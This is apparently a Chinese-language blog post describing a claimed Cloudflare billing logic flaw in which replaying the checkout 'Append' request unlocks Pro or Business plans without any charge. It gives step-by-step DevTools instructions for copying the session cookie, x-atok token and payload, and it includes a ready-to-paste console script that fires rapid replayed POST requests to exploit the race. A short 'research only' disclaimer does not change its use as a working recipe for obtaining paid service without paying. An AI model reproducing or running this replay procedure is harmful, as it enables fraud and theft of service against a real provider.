Cloudflare 计费逻辑缺陷:通过请求重放实现高级订阅绕过
在针对 Cloudflare 订阅体系进行逆向测试时,我发现其前端结算逻辑与后端状态同步之间存在一个有趣的“空隙”。通过特定的请求重放(Replay Attack),可以在系统未产生实际账单的情况下,诱导后端激活 Pro 或 Business 计划。

01. 核心表现:身份与权限的“量子叠加”
这种绕过方式会导致账号进入一种奇特的错位状态:
- 权限越权(Privilege Escalation):账号已实质性解锁 Pro/Business 专属功能(如 WAF 高级规则、图像优化、独享边缘节点等)。
- 状态错位(Logic Mismatch):订阅管理界面仍显示为
Free计划。由于计费链路未闭环,系统不会生成任何待支付条目或扣费账单。 - 零成本运行:利用结算接口的逻辑缺陷,实现了高级权限的“白嫖”。
02. 前置准备
在复现该逻辑缺陷前,需满足以下条件:
- 域名接入:域名已成功添加至 Cloudflare 账户。
- 支付环境:账户内未绑定有效信用卡(或绑定一张余额为 0 的卡以通过初审)。
- 目标选择:在
Active Subscriptions页面点击Change,选择你想要激活的 Pro 或 Business 方案,进入待支付页面。
03. 操作步骤:捕获与重放
利用浏览器开发者工具(DevTools),我们可以手动干预结算请求。
第一步:定位关键请求
打开 Network 标签页,点击页面底部的支付按钮。在产生的流量中,定位名为 Append 的 POST 请求。
第二步:提取核心元数据
选中该请求,从 Headers 和 Payload 中提取以下关键参数:
- Request URL:完整的接口地址。
- Cookie:当前会话的身份凭证。
- X-atok:Cloudflare 特有的 CSRF/身份校验令牌。
- Payload:在
Request Payload中点击View Source,获取原始的 JSON 结构。
第三步:控制台脚本注入
切换至 Console 标签页,利用下面的异步脚本进行高频重放。
04. 自动化重放脚本
/**
* Cloudflare Subscription Bypass Replay Script
* 仅用于技术研究,请勿用于非法用途
*/
const url = 'PASTE_YOUR_URL_HERE';
const headers = {
'content-type': 'application/json',
'accept': '*/*',
'origin': 'https://dash.cloudflare.com',
'referer': 'https://dash.cloudflare.com/',
'x-atok': 'PASTE_YOUR_X_ATOK_HERE',
'x-cross-site-security': 'dash',
'cookie': 'PASTE_YOUR_COOKIE_HERE',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36'
};
// 填入 View Source 中的 Payload 数据
const payload = { /* ... */ };
const delay = ms => new Promise(res => setTimeout(res, ms));
(async () => {
console.log("%c 开始执行请求重放...", "color: #007aff; font-weight: bold;");
for (let i = 0; i < 10; i++) {
fetch(url, {
method: 'POST',
headers: headers,
body: JSON.stringify(payload)
})
.then(res => console.log(`[Batch ${i}] Status: ${res.status}`))
.catch(err => console.error(`[Batch ${i}] Error:`, err));
await delay(100); // 100ms 间隔,模拟并发竞争
}
console.log("%c 脚本执行完毕,请刷新控制面板验证权限。", "color: #34c759; font-weight: bold;");
})();

05. 技术后记
这个漏洞的成因很可能是 Cloudflare 在处理 Append 操作时,先执行了权限分配逻辑,而后异步校验支付结果。在快速并发的请求下,后端分布式数据库可能出现了临时的状态同步延迟,导致权限已被写入 Metadata,但账单流水却因支付失败而被回滚。
这种“先上车后买票”的逻辑在追求极致前端体验的 SaaS 平台中屡见不鲜,但也为安全研究提供了极佳的切入点。